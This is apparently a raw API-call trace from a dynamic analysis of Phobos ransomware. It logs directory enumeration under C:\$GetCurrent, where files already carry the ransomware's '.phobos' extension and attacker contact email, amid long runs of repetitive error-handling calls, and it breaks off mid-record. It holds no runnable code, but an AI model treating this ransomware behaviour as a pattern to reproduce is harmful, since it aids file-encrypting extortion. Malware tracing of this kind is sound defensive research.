hFindFile=0x7b5ea0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.198] FindNextFileW (in: hFindFile=0x7b5ea0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0124.198] GetLastError () returned 0x0 [0124.198] SetLastError (dwErrCode=0x0) [0124.198] GetLastError () returned 0x0 [0124.198] SetLastError (dwErrCode=0x0) [0124.198] GetLastError () returned 0x0 [0124.198] SetLastError (dwErrCode=0x0) [0124.198] GetLastError () returned 0x0 [0124.198] SetLastError (dwErrCode=0x0) [0124.198] GetLastError () returned 0x0 [0124.198] SetLastError (dwErrCode=0x0) [0124.198] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x36b4088 [0124.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5ee0 [0124.199] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.199] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb6c4f1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecb6c4f1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecbdeca4, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0124.199] GetLastError () returned 0x0 [0124.199] SetLastError (dwErrCode=0x0) [0124.199] GetLastError () returned 0x0 [0124.199] SetLastError (dwErrCode=0x0) [0124.199] GetLastError () returned 0x0 [0124.199] SetLastError (dwErrCode=0x0) [0124.199] GetLastError () returned 0x0 [0124.199] SetLastError (dwErrCode=0x0) [0124.199] GetLastError () returned 0x0 [0124.199] SetLastError (dwErrCode=0x0) [0124.199] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.200] GetLastError () returned 0x0 [0124.200] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.201] SetLastError (dwErrCode=0x0) [0124.201] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.202] GetLastError () returned 0x0 [0124.202] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.203] SetLastError (dwErrCode=0x0) [0124.203] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.204] GetLastError () returned 0x0 [0124.204] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.205] SetLastError (dwErrCode=0x0) [0124.205] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.206] SetLastError (dwErrCode=0x0) [0124.206] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.207] SetLastError (dwErrCode=0x0) [0124.207] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.208] SetLastError (dwErrCode=0x0) [0124.208] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.209] GetLastError () returned 0x0 [0124.209] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.210] SetLastError (dwErrCode=0x0) [0124.210] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.211] SetLastError (dwErrCode=0x0) [0124.211] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.212] SetLastError (dwErrCode=0x0) [0124.212] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.213] SetLastError (dwErrCode=0x0) [0124.213] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.214] SetLastError (dwErrCode=0x0) [0124.214] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.215] SetLastError (dwErrCode=0x0) [0124.215] GetLastError () returned 0x0 [0124.216] SetLastError (dwErrCode=0x0) [0124.216] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbb8aba, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbb8aba, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc2b066, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="OOBE_2~1.PHO")) returned 1 [0124.216] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 1 [0124.216] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbdeca4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecbdeca4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecc04f50, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARTNE~1.PHO")) returned 0 [0124.216] FindClose (in: hFindFile=0x7b5ee0 | out: hFindFile=0x7b5ee0) returned 1 [0124.216] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.217] FindNextFileW (in: hFindFile=0x7b5ea0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0124.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5ee0 [0124.217] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.217] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9d90a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc9d90a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecd41c6e, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~1.PHO")) returned 1 [0124.217] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccc3a6f, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeccc3a6f, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xecce9c9a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="GETCUR~2.PHO")) returned 1 [0124.217] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc776bf, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xecc776bf, ftLastAccessTime.dwHighDateTime=0x1d51201, 